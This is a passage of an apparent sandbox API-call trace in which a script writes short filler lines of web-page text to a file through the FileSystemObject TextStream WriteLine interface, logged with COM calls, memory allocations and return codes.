puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.715] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.715] SysReleaseString () returned 0x1 [0148.715] CoTaskMemFree (pv=0x249c87614f0) [0148.716] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.716] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.716] CoTaskMemAlloc (cb=0x28) returned 0x249c8761640 [0148.716] SysAddRefString () returned 0x0 [0148.716] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.716] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.716] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.716] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876abc8, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.716] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ab08, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.716] malloc (_Size=0x8) returned 0x249c884eda0 [0148.716] malloc (_Size=0x14) returned 0x249ca447910 [0148.716] _snwprintf_s (in: _DstBuf=0x249ca447910, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.716] malloc (_Size=0x4e) returned 0x249c884a540 [0148.716] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.716] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.716] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.716] wcsncpy_s (in: _Destination=0x249ca4d41ea, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.716] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.717] free (_Block=0x249ca447910) [0148.717] free (_Block=0x249c884eda0) [0148.717] free (_Block=0x249c884a540) [0148.717] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.717] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.717] SysReleaseString () returned 0x1 [0148.717] CoTaskMemFree (pv=0x249c8761640) [0148.717] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.717] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.717] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.717] SysAddRefString () returned 0x0 [0148.717] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.717] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.717] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.717] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ab08, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.717] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b2e8, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.718] malloc (_Size=0x8) returned 0x249c884eca0 [0148.718] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.718] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.718] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.718] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.718] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.718] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.718] wcsncpy_s (in: _Destination=0x249ca4d4232, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.718] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.718] free (_Block=0x249c884ee60) [0148.718] free (_Block=0x249c884eca0) [0148.718] free (_Block=0x249ca4d5de0) [0148.718] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.718] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.718] SysReleaseString () returned 0x1 [0148.718] CoTaskMemFree (pv=0x249c87615e0) [0148.718] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.718] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.719] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.719] SysAddRefString () returned 0x0 [0148.719] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.719] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.719] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.719] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b2e8, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.719] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8769f38, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.719] malloc (_Size=0x8) returned 0x249c884ee00 [0148.719] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.719] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.719] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.719] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.719] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.719] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.719] wcsncpy_s (in: _Destination=0x249ca4d431e, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.719] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.720] free (_Block=0x249c884ee60) [0148.720] free (_Block=0x249c884ee00) [0148.720] free (_Block=0x249ca4d5de0) [0148.720] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.720] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.720] SysReleaseString () returned 0x1 [0148.720] CoTaskMemFree (pv=0x249c87614f0) [0148.720] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.720] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.720] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.720] SysAddRefString () returned 0x0 [0148.720] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.720] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.720] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.721] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8769f38, pBstrHelpFile=0x249c8758f60*="鞰졵ɉ") returned 0x0 [0148.721] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b948, pBstrHelpFile=0x249c8758f60*="鞰졵ɉ") returned 0x0 [0148.721] malloc (_Size=0x8) returned 0x249c884ed30 [0148.721] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.721] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.721] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.721] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.721] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.721] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.721] wcsncpy_s (in: _Destination=0x249ca4d440a, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.721] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.721] free (_Block=0x249c884ee60) [0148.721] free (_Block=0x249c884ed30) [0148.721] free (_Block=0x249ca4d5de0) [0148.721] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.721] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.721] SysReleaseString () returned 0x1 [0148.721] CoTaskMemFree (pv=0x249c8761b80) [0148.721] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.722] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.722] CoTaskMemAlloc (cb=0x28) returned 0x249c8761520 [0148.722] SysAddRefString () returned 0x0 [0148.722] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.722] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.722] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.722] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b948, pBstrHelpFile=0x249c8758f60*="ꔰ졵ɉ") returned 0x0 [0148.722] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b528, pBstrHelpFile=0x249c8758f60*="ꔰ졵ɉ") returned 0x0 [0148.722] malloc (_Size=0x8) returned 0x249c884ed70 [0148.722] malloc (_Size=0x14) returned 0x249ca4476f0 [0148.722] _snwprintf_s (in: _DstBuf=0x249ca4476f0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.722] malloc (_Size=0x4e) returned 0x249c884a540 [0148.722] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.722] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.722] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.722] wcsncpy_s (in: _Destination=0x249ca4d44f6, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.722] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.723] free (_Block=0x249ca4476f0) [0148.723] free (_Block=0x249c884ed70) [0148.723] free (_Block=0x249c884a540) [0148.723] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, 